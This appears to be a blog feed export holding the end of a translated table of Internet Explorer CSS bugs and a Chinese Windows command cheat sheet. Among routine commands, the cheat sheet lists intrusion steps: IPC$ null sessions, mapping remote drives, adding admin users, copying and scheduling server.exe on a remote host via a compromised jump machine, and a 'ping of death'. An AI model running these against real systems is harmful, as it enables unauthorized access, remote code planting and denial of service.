&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/-first-letter-Ignore-Bug" target="_blank"&gt;:first-letter无效bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;全部的:first-letter规则集无效&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/-first-letter-important-Rule-Ignore-Bug" target="_blank"&gt;:first-letter!important无效bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;当使用了!important修饰语后，:first-letter内部的伪class完全不起作用&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Partial-Click-Bug-v2" target="_blank"&gt;部分可点击bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6,IE7&lt;/td&gt; &lt;td&gt;只有文字是可点击的/有反应的，非得把鼠标移到真正的文字上才能有:hover反应，链接失效&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Staircase-Bug" target="_blank"&gt;楼梯bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6,IE7&lt;/td&gt; &lt;td&gt;浮动元素像梯子一样一个一个堆砌&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Disappearing-List-Background-Bug" target="_blank"&gt;列表背景消失bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;&amp;lt;li&amp;gt;, &amp;lt;dt&amp;gt;, &amp;lt;dd&amp;gt;背景消失&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/noscript-Ghost-Bug" target="_blank"&gt;noscript幽灵bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;脚本启用的时&amp;lt;noscript&amp;gt;元素显示，仅border/background从中显示&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/No-Transparency-Click-Bug" target="_blank"&gt;透明无法点击的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;使用了filter滤镜修复png背景透明问题的时候背景图片的透明区域链接无法点击&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/List-Drop-Shift-Bug" target="_blank"&gt;列表内容下沉bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8&lt;/td&gt; &lt;td&gt;&amp;lt;li&amp;gt;里面的内容在项目列表编号的下面&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a title="链接地址Number前加-" href="http://haslayout.net/css/No-Increase-on-ol-Numbers-Bug" target="_blank"&gt;&amp;lt;ol&amp;gt;数值不增加bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;&amp;lt;ol&amp;gt;中显示的数目不随着&amp;lt;li&amp;gt;增加&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://www.zhangxinxu.com/wordpress/?p=425#cannotlink" target="_blank"&gt;&amp;lt;ol&amp;gt;&amp;lt;ul&amp;gt;无编号bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;项目编号/数值从&amp;lt;ol&amp;gt;&amp;lt;ul&amp;gt;元素那儿消失了&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/No-line-height-Vertical-Center-on-Images-Bug" target="_blank"&gt;line-height图片不垂直居中的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;使用line-height方法，图片不垂直居中&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/No-Background-Image-Bug" target="_blank"&gt;没有背景图片bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;IE下使用了background背景图片，但是背景图片不显示（使用background缩写属性）&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Custom-Cursor-Bug" target="_blank"&gt;自定义光标bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;自定义光标在IE下不显示&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Leaking-Background-Bug" target="_blank"&gt;背景泄露bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;背景溢出到跟随其后的其他元素上去了&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Expanding-Height-Bug" target="_blank"&gt;高度撑开的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;元素的高度比指定的高度要长&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Expanding-Width-Bug" target="_blank"&gt;宽度撑开的bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;元素的宽度比指定的宽度要宽&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Double-Margin-Bug" target="_blank"&gt;双边距bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;左边距或右边距在浮动元素上双倍&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Negative-Margin-Bug" target="_blank"&gt;负margin bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;当使用负margin时，容器之外的部分元素不可见&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Italics-Float-Bug" target="_blank"&gt;斜体字浮动bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;元素含有斜体字在浮动元素后文字下沉&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/3px-Gap-Bug-aka-Text-Jog-Bug" target="_blank"&gt;3px空白bug又称文本慢跑bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;靠近浮动元素的元素要么有3px的间距，要么位置偏下，或是保持偏移当几个元素依次浮动时&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Text-Align-Bug" target="_blank"&gt;Text-Align bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;text-align属性影响block性质的元素&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Haslayout bug&lt;/strong&gt;&lt;br /&gt; 有haslayout或没有haslayout导致的IE bug&lt;/p&gt; &lt;p&gt;&lt;code&gt;haslayout IE css bug&lt;/code&gt;&lt;/p&gt; &lt;table border="1" bordercolor="" cellpadding="" cellspacing="0" width="100%"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;th scope="col"&gt;bug名称&lt;/th&gt; &lt;th scope="col"&gt;影响版本&lt;/th&gt; &lt;th scope="col"&gt;描述&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Scared-of-Floats-Bug" target="_blank"&gt;令人害怕的浮动bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE7,IE6&lt;/td&gt; &lt;td&gt;haslayout的元素自动清除浮动代替包围浮动元素&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Border-Chaos-Bug" target="_blank"&gt;边框混乱bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;边框显示混乱。例如在不该的地方显示或丢失&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Sub-Hover-Bug" target="_blank"&gt;hover bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;选择器例如a:hover foo{}不起作用&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Partial-Click-Bug" target="_blank"&gt;部分点击bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;样式为display:block&amp;lt;a&amp;gt;链接仅文字部分是可点击的，事实上在标准浏览器下还有额外的区域可点击&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Disappearing-Content-Bug" target="_self"&gt;内容消失bug&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;一些内容在页面滚动或浏览器最大化最小化的时候消失或重现&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;不支持的方法&lt;/strong&gt;&lt;br /&gt; 各种各样的方法提供的属性效果和属性值在IE下是不执行的&lt;/p&gt; &lt;p&gt;&lt;code&gt;不支持的方法&lt;/code&gt;&lt;/p&gt; &lt;table border="1" bordercolor="" cellpadding="" cellspacing="0" width="100%"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;th scope="col"&gt;bug名称&lt;/th&gt; &lt;th scope="col"&gt;影响版本&lt;/th&gt; &lt;th scope="col"&gt;描述&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/No-Child-Selector-Support-Workaround" target="_blank"&gt;不支持子选择器方法&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;子选择器无效&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Max-Height-Workaround" target="_blank"&gt;Max-width方法&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;max-width不支持&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Max-Width-Workaround" target="_blank"&gt;Max-height方法&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;max-height不支持&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Opacity" target="_blank"&gt;opacity&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE8,IE7,IE6&lt;/td&gt; &lt;td&gt;透明度opacity不支持&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Min-Width-Workaround" target="_blank"&gt;Min-width&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;min-width不支持&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;a href="http://haslayout.net/css/Min-Height-Workaround" target="_blank"&gt;Min-height&lt;/a&gt;&lt;/td&gt; &lt;td&gt;IE6&lt;/td&gt; &lt;td&gt;min-height不支持&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt; &lt;p&gt;您可以狠狠地点击这里：下载doc word文档(大小:88K) &amp;#8211; &lt;a id="mydoclink" href="http://www.zhangxinxu.com/study/down/ie-css-bug-by-zhangxinxu-from-haslayout.net.doc"&gt;IE css bug集合-翻译自haslayout.net.doc&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;译者（也就是&lt;a href="http://www.zhangxinxu.com/wordpress/?p=425#zhangxinxu" title="张鑫旭"&gt;我&lt;/a&gt;）的话：&lt;/strong&gt;&lt;br /&gt; 首先要肯定的是这里提供的bug对我们学习和解决实际问题肯定是很有帮助的。但是：首先，bug不全，至少没有列出我遇到的其他不少bug；而是有少许几处有些不准确。总之，仅供参考！&lt;/p&gt; &lt;p&gt;虽然我尽可能揣摩bug的意思，但是仍会有表述不准确之处，这里极力欢迎指出不准确之处了。另外，您还可以去&lt;a href="http://www.zhangxinxu.com/wordpress/haslayout.net" target="_blank"&gt;haslayout.net&lt;/a&gt;资助原作者。&lt;/p&gt;  &lt;p&gt;原创文章，转载请注明来自&lt;a href="http://www.zhangxinxu.com/"&gt;张鑫旭-鑫空间-鑫生活&lt;/a&gt;[&lt;a href="http://www.zhangxinxu.com/"&gt;http://www.zhangxinxu.com&lt;/a&gt;]&lt;br /&gt; 本文地址：&lt;a href="http://www.zhangxinxu.com/wordpress/?p=425"&gt;http://www.zhangxinxu.com/wordpress/?p=425&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Sandheart/aggbug/2131755.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Sandheart/archive/2011/08/09/2131755.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129219.html</id><title type="text">DOS命令字典(收藏)</title><summary type="text">net use \\ip\ipc$ &amp;quot; &amp;quot; /user:&amp;quot; &amp;quot; 建立IPC空链接 net use \\ip\ipc$ &amp;quot;密码&amp;quot; /user:&amp;quot;用户名&amp;quot; 建立IPC非空链接 net use h: \\ip\c$ &amp;quot;密码&amp;quot; /user:&amp;quot;用户名&amp;quot; 直接登陆后映射对方C：到本地为H: net use h: \\ip\c$ 登陆后映射对方C：到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 n</summary><published>2011-08-06T02:02:00Z</published><updated>2011-08-06T02:02:00Z</updated><author><name>C#学习路</name><uri>http://www.cnblogs.com/Sandheart/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129219.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Sandheart/archive/2011/08/06/2129219.html"/><content type="html">&lt;div&gt;&lt;span style="font-size: 14px; line-height: 18px"&gt;net use \\ip\ipc$ " " /user:" " 建立IPC空链接 &lt;br /&gt;net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 &lt;br /&gt;net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: &lt;br /&gt;net use h: \\ip\c$ 登陆后映射对方C：到本地为H: &lt;br /&gt;net use \\ip\ipc$ /del 删除IPC链接 &lt;br /&gt;net use h: /del 删除映射对方到本地的为H:的映射 &lt;br /&gt;net user 用户名　密码　/add 建立用户 &lt;br /&gt;net user guest /active:yes 激活guest用户 &lt;br /&gt;net user 查看有哪些用户 &lt;br /&gt;net user 帐户名 查看帐户的属性 &lt;br /&gt;net localgroup administrators 用户名 /add 把&amp;#8220;用户&amp;#8221;添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 &lt;br /&gt;net start 查看开启了哪些服务 &lt;br /&gt;net start 服务名　 开启服务；(如:net start telnet， net start schedule) &lt;br /&gt;net stop 服务名 停止某服务 &lt;br /&gt;net time \\目标ip 查看对方时间 &lt;br /&gt;net time \\目标ip /set 设置本地计算机时间与&amp;#8220;目标IP&amp;#8221;主机的时间同步,加上参数/yes可取消确认信息 &lt;br /&gt;net view 查看本地局域网内开启了哪些共享 &lt;br /&gt;net view \\ip 查看对方局域网内开启了哪些共享 &lt;br /&gt;net config 显示系统网络设置 &lt;br /&gt;net logoff 断开连接的共享 &lt;br /&gt;net pause 服务名 暂停某服务 &lt;br /&gt;net send ip "文本信息" 向对方发信息 &lt;br /&gt;net ver 局域网内正在使用的网络连接类型和信息 &lt;br /&gt;net share 查看本地开启的共享 &lt;br /&gt;net share ipc$ 开启ipc$共享 &lt;br /&gt;net share ipc$ /del 删除ipc$共享 &lt;br /&gt;net share c$ /del 删除C：共享 &lt;br /&gt;net user guest 12345 用guest用户登陆后用将密码改为12345 &lt;br /&gt;net password 密码 更改系统登陆密码 &lt;br /&gt;netstat -a 查看开启了哪些端口,常用netstat -an &lt;br /&gt;netstat -n 查看端口的网络连接情况，常用netstat -an &lt;br /&gt;netstat -v 查看正在进行的工作 &lt;br /&gt;netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） &lt;br /&gt;netstat -s 查看正在使用的所有协议使用情况 &lt;br /&gt;nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 &lt;br /&gt;tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：&amp;#8220;-w数字&amp;#8221;用于设置超时间隔。 &lt;br /&gt;ping ip(或&lt;a href="http://idc.77169.com/"&gt;域名&lt;/a&gt;) 向对方主机发送默认大小为32字节的数据，参数：&amp;#8220;-l[空格]数据包大小&amp;#8221;；&amp;#8220;-n发送数据次数&amp;#8221;；&amp;#8220;-t&amp;#8221;指一直ping。 &lt;br /&gt;ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) &lt;br /&gt;ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数&amp;#8220;/all&amp;#8221;显示全部配置信息 &lt;br /&gt;tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) &lt;br /&gt;kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) &lt;br /&gt;del  -F 文件名  加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删 除除只读、隐藏、系统、存档以外的文件。例如&amp;#8220;DEL/AR *.*&amp;#8221;表示删除当前目录下所有只读文件，&amp;#8220;DEL/A-S  *.*&amp;#8221;表示删除当前目录下除系统文件以外的所有文件&lt;br /&gt;&lt;br /&gt;#2 二：&lt;br /&gt;&lt;br /&gt;del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） &lt;br /&gt;move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 &lt;br /&gt;fc one.txt two.txt &amp;gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&amp;gt; "和"&amp;gt; &amp;gt;" 是重定向命令 &lt;br /&gt;at id号 开启已注册的某个计划任务 &lt;br /&gt;at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 &lt;br /&gt;at id号 /delete 停止某个已注册的计划任务 &lt;br /&gt;at 查看所有的计划任务 &lt;br /&gt;at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 &lt;br /&gt;finger username @host 查看最近有哪些用户登陆 &lt;br /&gt;telnet ip 端口 远和登陆服务器,默认端口为23 &lt;br /&gt;open ip 连接到IP（属telnet登陆后的命令） &lt;br /&gt;telnet 在本机上直接键入telnet 将进入本机的telnet &lt;br /&gt;copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 &lt;br /&gt;copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 &lt;br /&gt;cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 &lt;br /&gt;copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： &lt;br /&gt;xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 &lt;br /&gt;tftp  -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe  登陆后，将&amp;#8220;IP&amp;#8221;的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i  则以ASCII模式（传送文本文件模式）进行传送 &lt;br /&gt;tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 &lt;br /&gt;ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) &lt;br /&gt;route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface &lt;br /&gt;arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 &lt;br /&gt;start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 &lt;br /&gt;mem 查看cpu使用情况 &lt;br /&gt;attrib 文件名(目录名) 查看某文件（目录）的属性 &lt;br /&gt;attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 &lt;br /&gt;dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 &lt;br /&gt;date /t 、 time /t 使用此参数即&amp;#8220;DATE/T&amp;#8221;、&amp;#8220;TIME/T&amp;#8221;将只显示当前日期和时间，而不必输入新日期和时间 &lt;br /&gt;set 指定环境变量名称=要指派给变量的字符 设置环境变量 &lt;br /&gt;set 显示当前所有的环境变量 &lt;br /&gt;set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 &lt;br /&gt;pause 暂停批处理程序，并显示出：请按任意键继续.... &lt;br /&gt;if 在批处理程序中执行条件处理（更多说明见if命令及变量） &lt;br /&gt;goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：&amp;#8220;：start&amp;#8221;标签） &lt;br /&gt;call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） &lt;br /&gt;for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） &lt;br /&gt;echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 &lt;br /&gt;echo 信息 在屏幕上显示出信息 &lt;br /&gt;echo 信息 &amp;gt;&amp;gt; pass.txt 将"信息"保存到pass.txt文件中 &lt;br /&gt;findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello &lt;br /&gt;find 文件名 查找某文件 &lt;br /&gt;title 标题名字 更改CMD窗口标题名字 &lt;br /&gt;color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 &lt;br /&gt;prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )&lt;br /&gt;&lt;br /&gt;#3 三：&lt;br /&gt;&lt;br /&gt;ver 在DOS窗口下显示版本信息 &lt;br /&gt;winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） &lt;br /&gt;format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS &lt;br /&gt;md　目录名 创建目录 &lt;br /&gt;replace 源文件　要替换文件的目录 替换文件 &lt;br /&gt;ren 原文件名　新文件名 重命名文件名 &lt;br /&gt;tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 &lt;br /&gt;type 文件名 显示文本文件的内容 &lt;br /&gt;more 文件名 逐屏显示输出文件 &lt;br /&gt;doskey 要锁定的命令＝字符&lt;br /&gt;doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= &lt;br /&gt;taskmgr 调出任务管理器 &lt;br /&gt;chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 &lt;br /&gt;tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 &lt;br /&gt;exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe &lt;br /&gt;path 路径\可执行文件的文件名 为可执行文件设置一个路径。 &lt;br /&gt;cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? &lt;br /&gt;regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； &lt;br /&gt;regedit /e 注册表文件名 导出注册表 &lt;br /&gt;cacls  文件名　参数 显示或修改文件访问控制列表（ACL）&amp;#8212;&amp;#8212;针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm  替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F  完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 &lt;br /&gt;cacls 文件名 查看文件的访问用户权限列表 &lt;br /&gt;REM 文本内容 在批处理文件中添加注解 &lt;br /&gt;netsh 查看或更改本地网络配置情况&lt;br /&gt;&lt;br /&gt;#4 四：&lt;br /&gt;&lt;br /&gt;IIS服务命令： &lt;br /&gt;iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） &lt;br /&gt;iisreset /start或stop 启动（停止）所有Internet服务 &lt;br /&gt;iisreset /restart 停止然后重新启动所有Internet服务 &lt;br /&gt;iisreset /status 显示所有Internet服务状态 &lt;br /&gt;iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 &lt;br /&gt;iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 &lt;br /&gt;iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 &lt;br /&gt;iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 &lt;br /&gt;FTP 命令： (后面有详细说明内容) &lt;br /&gt;ftp的命令行格式为:&lt;br /&gt;ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。&lt;br /&gt;－d 使用调试方式。 &lt;br /&gt;－n 限制ftp的自动登录,即不使用.netrc文件。&lt;br /&gt;－g 取消全局文件名。 &lt;br /&gt;help [命令] 或 ？[命令] 查看命令说明 &lt;br /&gt;bye 或 quit 终止主机FTP进程,并退出FTP管理方式. &lt;br /&gt;pwd 列出当前远端主机目录 &lt;br /&gt;put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 &lt;br /&gt;get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 &lt;br /&gt;mget [remote-files] 从远端主机接收一批文件至本地主机 &lt;br /&gt;mput local-files 将本地主机中一批文件传送至远端主机 &lt;br /&gt;dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 &lt;br /&gt;ascii 设定以ASCII方式传送文件(缺省值) &lt;br /&gt;bin 或 image 设定以二进制方式传送文件 &lt;br /&gt;bell 每完成一次文件传送,报警提示 &lt;br /&gt;cdup 返回上一级目录 &lt;br /&gt;close 中断与远程服务器的ftp会话(与open对应) &lt;br /&gt;open host[port] 建立指定ftp服务器连接,可指定连接端口 &lt;br /&gt;delete 删除远端主机中的文件 &lt;br /&gt;mdelete [remote-files] 删除一批文件 &lt;br /&gt;mkdir directory-name 在远端主机中建立目录 &lt;br /&gt;rename [from] [to] 改变远端主机中的文件名 &lt;br /&gt;rmdir directory-name 删除远端主机中的目录 &lt;br /&gt;status 显示当前FTP的状态 &lt;br /&gt;system 显示远端主机系统类型 &lt;br /&gt;user user-name [password] [account] 重新以别的用户名登录远端主机 &lt;br /&gt;open host [port] 重新建立一个新的连接 &lt;br /&gt;prompt 交互提示模式 &lt;br /&gt;macdef 定义宏命令 &lt;br /&gt;lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 &lt;br /&gt;chmod 改变远端主机的文件权限 &lt;br /&gt;case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 &lt;br /&gt;cd remote－dir 进入远程主机目录 &lt;br /&gt;cdup 进入远程主机目录的父目录 &lt;br /&gt;! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip&lt;br /&gt;&lt;br /&gt;#5 五：&lt;br /&gt;&lt;br /&gt;MYSQL 命令： &lt;br /&gt;mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。&lt;br /&gt;（例：mysql -h110.110.110.110 -Uroot -P123456 &lt;br /&gt;注:u与root可以不用加空格，其它也一样） &lt;br /&gt;exit 退出MYSQL &lt;br /&gt;mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 &lt;br /&gt;grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 